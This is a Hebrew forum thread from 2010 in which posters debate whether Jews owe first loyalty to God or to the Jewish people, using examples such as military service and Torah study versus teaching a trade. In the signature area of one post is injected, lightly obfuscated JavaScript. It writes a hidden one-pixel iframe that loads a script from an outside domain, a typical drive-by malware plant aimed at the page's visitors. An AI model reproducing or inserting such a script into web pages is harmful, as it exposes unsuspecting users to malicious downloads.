יש כמובן את האלוקים שברא את העולם, ואין לו קשר ישיר ותמידי עם האנושות,
הוא נתן לנו את התבונה, ולכן סומך הוא על האנושות ועל תבונתם שהם ידעו לחיות ולנהל את עולמו בתבונה,
יש את עם ישראל, לאפוקי עם אחר, עם ישראל הם משפחה אחד צאצאי אדם אחד "יעקב אבינו"
אלוקים יצר קשר ישיר עם יעקב, וכרת אתו ברית וכו' וכו'
ברור לנו שכל זמן שהקשר והברית הם ישרים ותמידים, אנו מחויבים להיות נאמנים לאלוקים קודם,
אבל ברגע שאין קשר ישיר ותמידי כבר 2500 שנה, כלפי מי מהם אנו חייבים להיות נאמנים יותר ???
מיד יאמרו כולכם שזה בעצם אותו שאלה למי הבן צריך לשמוע ? לאלוקים או לאב,
התשובה היא שכל זמן שהבן עומד מול האב ואלוקים, ברור לנו שצריך לשמוע לאלוקים,
אבל הבן לא רואה את אלוקים כי אין קשר ישיר עכשיו, ולכן הבן צריך לשמוע ולהיות נאמן לאב קודם,
ולכן השאלה נשארת במקומה.
למי אנו צריכים וחייבים להיות נאמנים קודם, לאלוקים ? או לעם ישראל ?
(שאלוקים יסלח לי על השאלה, כוונתי לטובה, והוא בטח יענה לי שקודם זה עם ישראל, והבינו)
תוקן על ידי maxmen ב- 16/04/2010 05:02:33
נשלח ב-16/4/2010 05:33
מקור מענין, ר' צדוק הכהן, צדקת הצדיק אות נד (לא נמצאת בכל הדפוסים) עיקר היהדות תלוי בקריאת שם ישראל כמו שנאמר "זה יאמר לה' אני וגו' ובשם ישראל יכנה ... ובזה יובן מה דיהרג ואל יעבור על המרת דת להיות ישמעאל ... ולכן אצל ההמון הוא פסול משפחה שיש מומר במשפחה ואין חוששין אם יש בה רשע גמור העובר על כל התורה כולה ...
נשלח ב-16/4/2010 11:52
מפלאי ההשגחה:
בדיוק מצאתי על השולחן מכתב שנשלח ע"י ישראלי מתקופת המקרא בעזרת מכונת זמן, שאחרי תיאור זמנו ודרישה בשלום העתיד, הוא מספר שהוא בדילמה קשה. הוא לא יודע אם לשמור על נאמנותו לעמ"י ולהצטרף לחינגות העבודה זרה, או לשמוע בקול הנביא המדבר בשם אלוקים הישן והטוב ובוכה ושואל למה הם עזבו אותו, ולהרוס הכל. לא ידעתי מה לענות, אז מיד הלכתי להימלך בסנהדרין ולשאול באורים ותומים שלי דהיינו פורמא קדישתא די באתרא הדין, והנה נפתרה הבעיה מכל וכל "והוא בטח יענה לי שקודם זה עם ישראל" הוא יכול לשמור על הנאמנות לשניהם, והבינו.
תוקן על ידי שומר_תוכחת ב- 16/04/2010 11:54:56
נשלח ב-16/4/2010 15:52
חבריה:
כנראה לא ירדתם לסוף דעתי,
שאלתי אקטואלית בכל יום וכל רגע,
דוגמאות:
אני דורש מאשתי דבר מסויים, שזה דרישה אלוקית, מול דרישה\צורך של אשתי,
למשל: שולח אותה לעבוד במקומי, בכדי שאני ילמד כל היום, ובד ובד לגדל ילדים כמה שיותר, שהיא כביכול דרישה אלוקית,
ויש כמובן עוד דוגמאות,
אני דורש מבני דבר מסויים, שזה דרישה אלוקית, מול טובתו של בני,
למשל: במקום ללמדו אומנות שזה לטובתו הוא, מול דרישה אלוקית כביכול, שילמד תורה,
ויש כמובן עוד דוגמאות, בכל מקרה ומקרה בחינוך, יש את הדילמה הזאת,
ההורים: ההורים נותנים לבניהם\בנותיהם דירות וכו' שהיא צורך אלוקית כביכול, מול דרישה שאין ההורים יכולים לעמוד בו,
רבנים: רב של קהילה: איך צריך הוא להחליט במקרים של התנקשות בין צורך אלוקית, לצורך קהילתו,
מורים ומורות: כנ"ל
אדמורים: כנ"ל
פוסקי הלכה: כנ"ל
וכמובן גדולי הדור:
לדוגמא (רק לצורך הדגמה בלבד ובלי לפגוע ח"ו בכבודם,)
הרב שך זצ"ל דגל בטובת חמש אחוז יהודים שהם יהיו 100 אחוז יהודים, מול תשעים וחמש אחוז יהודים שהם רק חמש אחוז יהודים,
והרבי מחב"ד דגל בטובת כל היהודים, מול\ע"ח היהודים שהם מאה אחוז יהודים,
כוונתי היא, שהרב שך דאג בשביל יהדותם של אלה שהם 95 אחוז, לעשותם 100 אחוז, שזה כמובן בא ע"ח שאר היהודים,
והרבי מחב"ד דאג שכל היהודים שהם חמש אחוז יהודים, לעשותם 10 אחוז יהודים, שזה כמובן ע"ח אלה שהם יותר יהודים,
העניין הזה רודף אחרינו כל הדורות, בכל דור ודור היו מנהיגים שנהגו כמו הרב שך, או כמו הרבי מחב"ד,
האם לא זה בעצם שאלתי, גדול הדור X ראה את טובת האלוקים בראש מעיניו, וגדול Y ראה את טובת העם כולו בראש מעיניו, ????
עוד דוגמא: התגייסות לצבא כמובן,
אנחנו לא מתגייסים לצבא כביכול בגלל צורך אלוקית, (כלומר שלא נתקלקל,) שזה ע"ח שאר היהודים כמובן,
כלומר טובת העם שאנו כן נתגייס, וכביכול טובת האלוקית היא שלא נתקלקל,
עוד דוגמא: העוני כמובן,
העוני שגדולינו בחרו לנו, היא לא רק דרישה לטובת האלוקים מול צרכינו, היא גם דרישה ע"ח אחרים,
(שומר תוכחת: מה שכתבתי בסוגריים היה לצורך מצפוני, ולא לעצם שאלתי,)
נשלח ב-16/4/2010 16:32
מקסמן
נראה לי שדבריך הראשונים אינם כדבריך האחרונים. והשאלה שעולה מהראשונים שונה מזו שעולה מהאחרונים.
אנסה להסביר מה אני מבין וכיצד אני עונה.
כתבת:
"יש כמובן את האלוקים שברא את העולם, ואין לו קשר ישיר ותמידי עם האנושות,
הוא נתן לנו את התבונה, ולכן סומך הוא על האנושות ועל תבונתם שהם ידעו לחיות ולנהל את עולמו בתבונה".
האמנם אין קשר בינו ית' לבינינו? אולי כוונתך שהוא אינו מתגלה באופן פרטני לכל אחד? כמובן יהיה מי שיטען שהוא מתגלה על ידי אמצעי ההתגלות שהוא השכל ושאר כוחות ההכרה שלנו... אבל זה מה שכתבת במשפט הבא בעצם.
אמנם, האם ה' סומך רק על תבונתנו? האם היא מספיקה? כיון שכנראה לא, אז הוא נתן את התורה. מערכת מוכנה מראש שחוסכת זמן לאלו שאינם מסוגלים להבין את רצון ה' מתוך תבונתם (תשובתו של רס"ג).
***
כתבת:
"כל זמן שהבן עומד מול האב ואלוקים, ברור לנו שצריך לשמוע לאלוקים,
אבל הבן לא רואה את אלוקים כי אין קשר ישיר עכשיו, ולכן הבן צריך לשמוע ולהיות נאמן לאב קודם".
לפי מה שכתוב כאן ולפי מה שכתבת בהמשך, עימתת בין אלקים לבין עם ישראל, שיש להם דרישות נוגדות וסותרות (אחרת באותו מעשה ובאותה החלטה זהה אנו משרתים את שתי המטרות כאחת).
חבל שלא הבאת דוגמא. לא ברור כיצד נוצר העימות בין האב לבין דבר האלקים. אני משער שאתה מסכים שהתורה היא דבר ה' שניתן לנו לפני כמה אלפי שנים. ודבר ה' זה קובע שיש לכבד את האב, אך רק כל עוד אינו דורש מה שמנוגד לתורה. (גמרא קידושין).
אז הנה יש לנו פתרון לשאלתך. אנו עושים מה שה' רוצה וידוע לנו שהוא רוצה, וחלק מזה הוא לציית לאב, לחכמים, לצאת ידי החברה ועוד. כל עוד אין בציות זה סתירה לעקרונות של התורה.
כמובן, ניתן לשאול איך אני יודע מה היה דבר ה' המקורי. הרי גם זה על פי פירושם של חכמים.
***
יותר מכך, כפי שעולה מן המעשה המפורסם בתנורו של עכנאי (ב"מ דף? וכבר נידון כמה פעמים בפורום), ה' מכופף את עצמו לפני פרשנותם של חכמים. כאשר חכמים חלקו על רבי אליעזר (בסיפור שם), ורבי אליעזר הזעיק התגלות של ה' שיאמר שהוא צודק בפרשנותו, וכך הודיעה בת קול, עדיין עמד ר' יהושע על רגליו וקבע לדורות: אין משגיחין בבת קול.
ולפי עדות של חויה מיסטית או סיפור משל, ה' שמח ואמר: נצחוני בני.
כלומר, ה' הפקיד את התורה בידי חכמים (הראויים לעטרה זו) כדי לפרש את דברו שניתן לפני אלפי שנים.
האם זה עונה על שאלותיך בפתחו של אשכול?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
נשלח ב-16/4/2010 16:43
המשך תשובה למקסמן
הצגת דוגמאות של סתירות בין מה שכינית "דרישה אלוקית" לבין "דרישה של העם", אם כי דרישה זו מיוחסת לבני אדם: אתה, רבנים, אדמורים בני זמננו.
חשוב לדעתי לראות את הדוגמאות, ואני מביא את חלקן.
א. ללמד את הבן אומנות זה לטובתו (דרישה תועלתנית מוסרית?). הדרישה האלוקית לדבריך היא ללמדו רק תורה.
ב. נחלקו הרב שך והאדמור האחרון מחבד עד כמה להשקיע בקירוב רחוקים. האם אין כאן טובת דבר האלקים מול טובת העם?
ג. גיוס. טובת העם לחייב גיוס. דרישה אלקית היא לפטור לומדי תורה מגיוס.
אני מסתפק במספר דוגמאות אלו, כי אני סבור שגם מהן ניתן לראות כי החלוקה לשנים שהצגת, בין דרישה אלקית לדרישת העם, היא אינה מדוייקת. לדעתי.
ואבאר.
א. ללמד את הבן מקצוע (=אומנות) זו לא רק דרישה לטובתו (לטובת העם?). זו דרישה אלוקית, במובן זה שזה מופיע כחובה גם במשנה וגם ברמב"ם. בדורנו, כהוראת שעה, יש שטענו שהחיוב ללמד וללמוד מקצוע נדחה, לפחות לזמן, מפני החובה להעמיד דור של למדנים. אבל החובה ללמוד מקצוע כדרישה אלוקית נותרה במקומה. מה שיש הוא, לכאורה, התנגשות בין שתי דרישות אלקיות שצריך לדעת איזו מהן עדיפה.
ב. הרבי מחבד דגל בקירוב רחוקים לא בגלל שהיה לו ענין (רק) בטובת העם, אלא בגלל שהאמין שזו הדרישה האלוקית.
ככלל, למרות שמסברה ברור שקירוב רחוקים הוא דבר חשוב, קשה לי לעגן זאת במסורת התורה שבידנו ועוד יותר קשה לקבוע כמה צריך להשקיע בזה, ברמת הכלל וברמת הפרט. אבל כל מי שילמד ביושר לב ובחכמה וינסה למצוא תשובה בתורה, יצליח, שהרי "הפוך בה והפוך בה דכולא בה" (=שהכל בה). ואז זו כבר תהיה הדרישה האלוקית.
ג. האם להתגייס כדי להילחם זו רק טובת העם? או שזו מצוה מהתורה? עיין, כמדומה במסכת סוטה, שבה מתבאר כי הכל חייבים בגיוס, ואפילו חתן מחדרו וכלה מחופתה יוצאים להגן על העם המותקף.
כמובן, צריך לדעת איך לתרגם זאת לימינו. בזמנם, ממתן תורה ועד ימי חז"ל, השתתפות במלחמה לא היתה טעונה הכנה רבה והתמקצעות. האיכר היה נוטל את חרמשו ויוצא לקרב. גם כשהיה צבא מקצועי, עיקר הצבא היה צבא העם, וכל אחד היה יכול לתרום, אם בהתייצבות בקרב, אחד מול אחד, או בתמיכה, כגון שיגור צרכים אפסנאיים.
ובימינו, זה אחרת. מאז הופעת התת מקלע ורימון היד, אדם אחד יכול להרוג הרבה וממרחק. כמו כן, צריך להתאמן וללמוד כיצד לעשות זאת, שבועות, חודשים, אולי שנים. וכל המרבה הרי זה משובח. לקיחת חתן מחדרו ושליחתו לשדה הקרב רק תביא לחיסולו המהיר. כדי לאפשר לאדם לתרום את חלקו להגנת העם, עליו ללמוד זאת במשך זמן רב. לכן יש לדון מאימתי חל החיוב.
ועוד יש לדון על מי חל החיוב. הרי יתכן שדי בצבא קטן אך יעיל ואין צורך בכל כוח האדם שהיה צריך לגייס בימים ההם, ממתן תורה ועד ימי חז"ל. בימינו, לא הצבא הגדול עדיף אלא הצבא המצוייד טכנולוגיות והמאומן היטב.
לכן, למרות שיש ערך וחשיבות לגיוסו של כל אדם, יש מקום לטעון שיש יותר פטורים היום ממלחמת מצוה של הגנה על העם מאשר בימי חז"ל. וזוהי דרישה אלוקית.
אני מסכם: כל הדוגמאות לעיל הפכו, לאחר הניתוח, לדוגמאות של דרישה אלוקית. אלא שצריך לברר היטב מה התורה, אוסף הדרישות האלוקיות, קובעת עבורנו. וזו חכמה שמחייבת עמל רב, יראת שמים ועוד תנאים כמבואר בגמרא ובפוסקים. אבל כל אחד רשאי וחייב להפוך את עצמו לתלמיד חכם. גם אתה וגם אני.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
נשלח ב-16/4/2010 16:44
שומר תוכחת
איקון ירוק על התשובה (=סמל שהשתגר בפורום שמקביל ל"שכוייח" החרדי).
(משום מה, הכרום היה מוכן לשלוח רק שתי תגובות, העליונות, ולא את זו. אני מנסה עכשו בפיירפוקס. אולי יהיה יותר טוב).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
תוקן על ידי מיימוני ב- 16/04/2010 16:48:52
נשלח ב-16/4/2010 17:29
מקס
לע"ד אתה מערבב בין דרישתו הישירה והמבוארת של אלוקים. שלא תיתכן בה כל ניגודי נאמנות בין צד אחד לשני.
לבין כל מיני תקנות מצוות ומוסכמות חברתיות- שאליהם אתה משתייך- שאין להם ולא כלום עם רצונו של אלוקים.
_________________
מודה ועוזב
נשלח ב-16/4/2010 17:50
ירוחם
הוספת על דברי (שהתורה מתפרשת על ידי חכמים) שתי תוספות. שהן כמסתבר נכונות.
א. יש מוסכמות חברתיות שאינן מצוות אבל נתפסות כמצוות (צריך לקנות דירה על חשבון ההורים).
ב. אין סתירות או ניגודי נאמנות בדיבור ישיר של אלקים. כלומר, ייתכנו מחלוקות רק ביישום העקרונות שניתנו בתורה, אבל לא בתורה עצמה.
כנגד ב', מה דעתך על הציטוט הבא (מהזכרון):
קח נא את בנך את יחידך אשר אהבת והעלהו לעולה על אחד ההרים אשר אומר אליך.
וכנגד זה: "ביצחק ייקרא לך זרע" ו"לא תרצח"?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
נשלח ב-16/4/2010 17:57
מיימוני: היקר
(נכון שלפי שאלתך, אני עכשיו מבין שלא יכולתי להסתמך שהחברה כאן מחזיקים ראש בכל הפולמוסים העכשיווים בפורום,
והייתי באמת צריך להסביר יותר את כוונתי,)
אני יוצא בהנחה שכולם למדו בחידר ויודעים את כל מחשבת ישראל או רובם,
ולכן התחלתי עם היסוד של אמונתינו, כלומר להסביר דבר ראשון שאלוקים ברא את עולמו בצורה שאין קשר ישיר ותמידי
(עוזוב כרגע פילוסופיה האם שכלי היא אלוקים בעצמו וכדומה וכו') כמו שהרמב"ן מסביר את עונש דור המבול, כלומר עניש אותם (ורק אחרי שליחת נביא שהוכיח אותם במשך 120 שנה) בגלל שלא השתמשו בתבונתם,
(אפשר לומר שזה לא היה עונש בכלל, יותר נכון לומר שזה היה הכזבה כביכול של אלוקים מכל האנושות,)
דוגמא: שהאנושות החליטה להשתמש במכוניות לנוחיותינו, ע"ח עשר הרוגים בכל שבוע בארץ לבד וכמה בכל העולם ??
עוד דוגמא: שחלק מהאנושות החליטו לגור במקומות שיש שם אסונות טבע לרוב, ע"ח משפחתם וילדיהם כמובן,
ועוד דוגמא: מה היא החשיבות העליונה של מדעי הרפואה ? לתקן את "הלב" ובד ובד זה יכניס הרבה כסף, או שלא נצטרך בכלל לתקן את הלב, ואז לא נעשה הרבה כסף,
ועוד דוגמא כללית: חברה לא מתוקנת כלומר בלי חוק וצדק, הרי מענישה את עצמה בלי קשר לאלוקים,
בעצם אני טוען שאלוקים לא מעניש בכלל ישירות: עצם טפשותינו מעניש אותנו,
רצוני לומר שדרישת האלוקים היא דבר ראשון להשתמש בתבונתינו,
(ואם הוא רוצה כבר לעניש ישירות ע"ז ? הוא כביכול מן היושר צריך להזהיר אותנו, כמו במבול, ולא רק בגלל ההגינות, רק גם שאנו ידע על מה ולמה הוא מנעיש אותנו, הרי יש לו צורך מסויים במעשיו, ובשפה של חרשים, אף אחד לא מבין אותו, וגם לא נצטרך להתפלסף כל הזמן, עיין ערך אשכול של "פוגמישו")
אחרי שהסברתי את הצד של אלוקים, הסברתי את הצד של עם ישראל,
אולקים יצר קשר ישיר עם משפחתינו וגם הבטיח לנו שבכל דור ודור יהיה נביא, במילא כל הידע שלנו מה התורה ואלוקים רוצה מאיתנו ? היא אך ורק דרך נביא, כלומר קשר ישיר ותמידי,
(רצוני לומר שכל דברי חז"ל הם רק על דרך האפשר ולא נבואה ממש, הרי נפסקה הנבואה עוד לפני חז"ל, ולכן שהרבנים מחליטים לפי חז"ל יכול להיות שזה לא ממש דרישת האלוקים באמת רק אפשר שכך רצונו, במילא טובת מי קודם כאן ?)
ההמשך אחרי שבת,
גוט שבת לכולם,
נשלח ב-17/4/2010 21:20
מיימוני כתב:
מקסמן
נראה לי שדבריך הראשונים אינם כדבריך האחרונים. והשאלה שעולה מהראשונים שונה מזו שעולה מהאחרונים.
אנסה להסביר מה אני מבין וכיצד אני עונה.
כתבת:
"יש כמובן את האלוקים שברא את העולם, ואין לו קשר ישיר ותמידי עם האנושות,
הוא נתן לנו את התבונה, ולכן סומך הוא על האנושות ועל תבונתם שהם ידעו לחיות ולנהל את עולמו בתבונה".
האמנם אין קשר בינו ית' לבינינו? אולי כוונתך שהוא אינו מתגלה באופן פרטני לכל אחד? כמובן יהיה מי שיטען שהוא מתגלה על ידי אמצעי ההתגלות שהוא השכל ושאר כוחות ההכרה שלנו... אבל זה מה שכתבת במשפט הבא בעצם.
אמנם, האם ה' סומך רק על תבונתנו? האם היא מספיקה? כיון שכנראה לא, אז הוא נתן את התורה. מערכת מוכנה מראש שחוסכת זמן לאלו שאינם מסוגלים להבין את רצון ה' מתוך תבונתם (תשובתו של רס"ג).
ידוע שיטת הרס"ג שאנו מחוייבים לאלוקים מעצם מעשה בראשית, ולכן מה שצטטתה היא לפי שיטותו אבל מפשוטו של מקרא אנו מחוייבים לאלוקים מעצם יצאת מצרים, וכן דעת רוב הראשונים, ***
כתבת:
"כל זמן שהבן עומד מול האב ואלוקים, ברור לנו שצריך לשמוע לאלוקים,
אבל הבן לא רואה את אלוקים כי אין קשר ישיר עכשיו, ולכן הבן צריך לשמוע ולהיות נאמן לאב קודם".
לפי מה שכתוב כאן ולפי מה שכתבת בהמשך, עימתת בין אלקים לבין עם ישראל, שיש להם דרישות נוגדות וסותרות (אחרת באותו מעשה ובאותה החלטה זהה אנו משרתים את שתי המטרות כאחת).
חבל שלא הבאת דוגמא. לא ברור כיצד נוצר העימות בין האב לבין דבר האלקים. אני משער שאתה מסכים שהתורה היא דבר ה' שניתן לנו לפני כמה אלפי שנים. ודבר ה' זה קובע שיש לכבד את האב, אך רק כל עוד אינו דורש מה שמנוגד לתורה. (גמרא קידושין).
אז הנה יש לנו פתרון לשאלתך. אנו עושים מה שה' רוצה וידוע לנו שהוא רוצה, וחלק מזה הוא לציית לאב, לחכמים, לצאת ידי החברה ועוד. כל עוד אין בציות זה סתירה לעקרונות של התורה.
כמובן, ניתן לשאול איך אני יודע מה היה דבר ה' המקורי. הרי גם זה על פי פירושם של חכמים.
בדיוק על זה כל האשכול הזה, תבין שאין לי קשר ישיר, מנין לי מה אלוקים רוצה ממני ? ולכן מה צריך להיות בראש מעינינו ? הדרישה האלוקית הלא ברורה ?? או הדרישה של העם ???? וזה שאתה אומר פירושם של חכמינו, זה הכל על דרך האפשר, כי הרי יש מחלוקת בכל דבר, אין אפי' ביסודות האמונה תמימות דעים, (אני לא דן עכשיו כלפי מצוות ברורות) יוצא לנו שכלפי דרישת האלוקים מה היא ? יש לנו ספק ! ולגבי דרישת"טובת העם אין לנו ספק מה היא,
***
יותר מכך, כפי שעולה מן המעשה המפורסם בתנורו של עכנאי (ב"מ דף? וכבר נידון כמה פעמים בפורום), ה' מכופף את עצמו לפני פרשנותם של חכמים. כאשר חכמים חלקו על רבי אליעזר (בסיפור שם), ורבי אליעזר הזעיק התגלות של ה' שיאמר שהוא צודק בפרשנותו, וכך הודיעה בת קול, עדיין עמד ר' יהושע על רגליו וקבע לדורות: אין משגיחין בבת קול.
ולפי עדות של חויה מיסטית או סיפור משל, ה' שמח ואמר: נצחוני בני.
כלומר, ה' הפקיד את התורה בידי חכמים (הראויים לעטרה זו) כדי לפרש את דברו שניתן לפני אלפי שנים.
האם זה עונה על שאלותיך בפתחו של אשכול?
ברור שלא עונה, כל מליצת חז"ל בסיפור של עכנאי בא לומר לנו שאין ולא יהיה יותר קשר ישיר עם אלוקים,
(שאנחנו למדנו את הגמ' הזה, אמרתי בקול שאנחנו יכולים לשכוח ממשיח לפי הגמ' הזה, (והמג"ש הראה לי את הדלת,)
הסברתי כבר לעיל שזה סיבת האשכול הזה, ברגע שלא ברור לנו מה היא דרישת האלוקים במצב X ובמצב Y ואין לנו אורים ותומים, (כמו שהזכיר "שומר תוכחת") ולכן בראש מעינינו צריך להיות טובת העם ???
שומר פיו ולשונו - שומר מצרות נפשו
תוקן על ידי maxmen ב- 17/04/2010 21:59:06
נשלח ב-17/4/2010 21:45
מיימוני כתב:
המשך תשובה למקסמן
הצגת דוגמאות של סתירות בין מה שכינית "דרישה אלוקית" לבין "דרישה של העם", אם כי דרישה זו מיוחסת לבני אדם: אתה, רבנים, אדמורים בני זמננו.
חשוב לדעתי לראות את הדוגמאות, ואני מביא את חלקן.
א. ללמד את הבן אומנות זה לטובתו (דרישה תועלתנית מוסרית?). הדרישה האלוקית לדבריך היא ללמדו רק תורה.
ב. נחלקו הרב שך והאדמור האחרון מחבד עד כמה להשקיע בקירוב רחוקים. האם אין כאן טובת דבר האלקים מול טובת העם?
אני לא רואה כאן עניין של קירוב רחוקים ? אני רואה כאן שאלת קהילות נפרדות כן או לא
ג. גיוס. טובת העם לחייב גיוס. דרישה אלקית היא לפטור לומדי תורה מגיוס.
אני מסתפק במספר דוגמאות אלו, כי אני סבור שגם מהן ניתן לראות כי החלוקה לשנים שהצגת, בין דרישה אלקית לדרישת העם, היא אינה מדוייקת. לדעתי.
ואבאר.
א. ללמד את הבן מקצוע (=אומנות) זו לא רק דרישה לטובתו (לטובת העם?). זו דרישה אלוקית, במובן זה שזה מופיע כחובה גם במשנה וגם ברמב"ם. בדורנו, כהוראת שעה, יש שטענו שהחיוב ללמד וללמוד מקצוע נדחה, לפחות לזמן, מפני החובה להעמיד דור של למדנים. אבל החובה ללמוד מקצוע כדרישה אלוקית נותרה במקומה. מה שיש הוא, לכאורה, התנגשות בין שתי דרישות אלקיות שצריך לדעת איזו מהן עדיפה.
לדעתך היא שאלה בין שני דרישות אלוקיות, וכן דעת גדולינו ולכן קבעו מה שקבעו, לדעתי זה לא כך, לדעתי השאלה היא, 1, האם הנער ח"ו יתקלקל 2, השקפתי, כלומר חייב להיות לומדי תורה, (שאני אגב מסכים איתה) אבל שוב זה על חשבון ילדינו כמובן, וגם ע"ח העם כולו,
ב. הרבי מחבד דגל בקירוב רחוקים לא בגלל שהיה לו ענין (רק) בטובת העם, אלא בגלל שהאמין שזו הדרישה האלוקית.
נכון וזה שאלתי האם בראש מעינם צריך להיות דרישה העם ולא דרישת האלוקים (אני שונא את התרגיל שלך שדרישת העם זה בעצם דרישת האלוקים, זה הרי ברור לי כמו שזה ברור לך)
ככלל, למרות שמסברה ברור שקירוב רחוקים הוא דבר חשוב, קשה לי לעגן זאת במסורת התורה שבידנו ועוד יותר קשה לקבוע כמה צריך להשקיע בזה, ברמת הכלל וברמת הפרט. אבל כל מי שילמד ביושר לב ובחכמה וינסה למצוא תשובה בתורה, יצליח, שהרי "הפוך בה והפוך בה דכולא בה" (=שהכל בה). ואז זו כבר תהיה הדרישה האלוקית.
כאן לגמרי אני לא מבין אותך: הרי טענתינו היא שאנו ערבים זה לזה ולכן כל זמן שיש חוטאים אנו נסבול, כמו שאלוקים הכניס אותנו ביחד בתאי הגזים, שם לא היה קהילות נפרדות,
ג. האם להתגייס כדי להילחם זו רק טובת העם? או שזו מצוה מהתורה? עיין, כמדומה במסכת סוטה, שבה מתבאר כי הכל חייבים בגיוס, ואפילו חתן מחדרו וכלה מחופתה יוצאים להגן על העם המותקף.
כמובן, צריך לדעת איך לתרגם זאת לימינו. בזמנם, ממתן תורה ועד ימי חז"ל, השתתפות במלחמה לא היתה טעונה הכנה רבה והתמקצעות. האיכר היה נוטל את חרמשו ויוצא לקרב. גם כשהיה צבא מקצועי, עיקר הצבא היה צבא העם, וכל אחד היה יכול לתרום, אם בהתייצבות בקרב, אחד מול אחד, או בתמיכה, כגון שיגור צרכים אפסנאיים.
ובימינו, זה אחרת. מאז הופעת התת מקלע ורימון היד, אדם אחד יכול להרוג הרבה וממרחק. כמו כן, צריך להתאמן וללמוד כיצד לעשות זאת, שבועות, חודשים, אולי שנים. וכל המרבה הרי זה משובח. לקיחת חתן מחדרו ושליחתו לשדה הקרב רק תביא לחיסולו המהיר. כדי לאפשר לאדם לתרום את חלקו להגנת העם, עליו ללמוד זאת במשך זמן רב. לכן יש לדון מאימתי חל החיוב.
ועוד יש לדון על מי חל החיוב. הרי יתכן שדי בצבא קטן אך יעיל ואין צורך בכל כוח האדם שהיה צריך לגייס בימים ההם, ממתן תורה ועד ימי חז"ל. בימינו, לא הצבא הגדול עדיף אלא הצבא המצוייד טכנולוגיות והמאומן היטב.
לכן, למרות שיש ערך וחשיבות לגיוסו של כל אדם, יש מקום לטעון שיש יותר פטורים היום ממלחמת מצוה של הגנה על העם מאשר בימי חז"ל. וזוהי דרישה אלוקית.
אני מסכם: כל הדוגמאות לעיל הפכו, לאחר הניתוח, לדוגמאות של דרישה אלוקית. אלא שצריך לברר היטב מה התורה, אוסף הדרישות האלוקיות, קובעת עבורנו. וזו חכמה שמחייבת עמל רב, יראת שמים ועוד תנאים כמבואר בגמרא ובפוסקים. אבל כל אחד רשאי וחייב להפוך את עצמו לתלמיד חכם. גם אתה וגם אני.
שוב אני אומר שאני שונא את התרגיל ש"דרישת העם היא דרישת האלוקים",
שומר פיו ולשונו - שומר מצרות נפשו
תוקן על ידי maxmen ב- 17/04/2010 21:58:02
נשלח ב-17/4/2010 21:59
הרב מימוני כתבת.
א. יש מוסכמות חברתיות שאינן מצוות אבל נתפסות כמצוות (צריך לקנות דירה על חשבון ההורים).
ב. אין סתירות או ניגודי נאמנות בדיבור ישיר של אלקים. כלומר, ייתכנו מחלוקות רק ביישום העקרונות שניתנו בתורה, אבל לא בתורה עצמה.
כנגד ב', מה דעתך על הציטוט הבא (מהזכרון):
קח נא את בנך את יחידך אשר אהבת והעלהו לעולה על אחד ההרים אשר אומר אליך.
וכנגד זה: "ביצחק ייקרא לך זרע" ו"לא תרצח"?
א.אני התיחסתי לדברי מקס -ולא על מוסכמות חברתיות, אלא מוסכמות חברתיות שהפכו למצווה ממש ועל מצוות ממש, שהפכו למוסכמות,
וזה מה שמקס ציין- היחס היום ללימוד התורה שהפך למצוות על, והיא למיטב ידיעתי לא היתה מעולם בעם ישראל במעמדה העכשוי,
אפילו מצות עשה מפורשת אין למצווה , אפילו ברכה מיחדת אין בשבילה, אבל היא הפכה להרס של חיי רבבות אנשים , שחיים בתנאים ללא תנאים,ולא ממלאים את חובתם היסודית גם לפי ההלכה,
ב. מה דעתי על הציטוט- היתי מוסיף גם -גר יהיה זרעך ועבדו ויענו אותם ארבע מאות שנה- ועוד.
עם ישראל הפך לעם לאחר מתן תורה- האשכול הוא- ה' ועם ישראל-
מה שקרה לאבות האומה לפני זה, דומה למה שקורה לכל אשה בהריון- תופעות לא סימפטיות וטבעיות, לתינוקות ולילדים ניתנים הרבה זריקות כואבות אבל אלו זריקות חיסון כואבות וחיוניות, אין להקיש מימי הילדות על הבגרות
_________________
א
_________________
מודה ועוזב
נשלח ב-18/4/2010 03:33
מיימוני כתב:
כנגד ב', מה דעתך על הציטוט הבא (מהזכרון):
קח נא את בנך את יחידך אשר אהבת והעלהו לעולה על אחד ההרים אשר אומר אליך.
וכנגד זה: "ביצחק ייקרא לך זרע" ו"לא תרצח"?
הרב מיימוני (אני רואה שמוסיפים לך הרב, וגם להרב מיכי,)
אני יכול לצטט לך הרבה כאלה (עדיף בפרטי) אבל לא זה העניין שלי,
אני מתעקש שאם אנחנו נדע להגדיר טוב את דרישת האלוקים כלפינו במצב העכשווי (שאין כביכול קשר ישיר,)
ונדע גם את טובת העם (וברור שטובתם היא לשמור את תורת האלוקים) שלא מתנגש עם אלוקים (להפך זה ביסוד דרישת האלוקים כמו שכולכם טוענים ובצדק) ונייסם אותם,
אז נראה כמה נפלא העם באמת,
אבל כל זמן שאנו נדאג רק לאלוקים כביכול, (כביכול: כי בכל עניין אנו חושבים שזה דרישה אלוקית, שהיא בעצם לא,)
אז יש לנו אלף סוגיי אלוקימים, יש את אלוקים של הדת החדשה ששמה "השקפה"
יש את אלוקי החסידות
יש את אלוקי הקבלה
יש את אלוקי הרמב"ם
יש את אלוקי מאה שערים
יש את אלוקי הכיפות
ועוד ועוד עד אין סוף (הרי כל המחלוקת ביניהם היא מה אלוקים רוצה, ולא מה טובת העם, והבן, כי אם טובת העם בראש מעיניהם ? הם היו כל גדולי הדור יושבים לפחות פעם בחודש ומתקנים את כל הצריך תיקון,)
נשלח ב-19/4/2010 16:23
אודה על האמת שהדיון כאן נראה לי מוזר
אבל חושבני שהערה אחת לעיקר הנושר חסרה-
היה מי שנזקק להכרעה בין ה' לעם ישראל והכריע בעד העם. משה לאחר העגל שבתגובה לרצון ה' למחות העם העמיד לה' אולטימטום "מחני..". וכמדומה שיוקרתו בעיני ה' לא פחתה בגלל האירוע. עצם המעשה והויכוח עם ה' איני מבין (אם כי קדמו אברהם העניין סדום).
אבל להסיק להיום...? קצת מוגזם
נשלח ב-19/4/2010 16:56
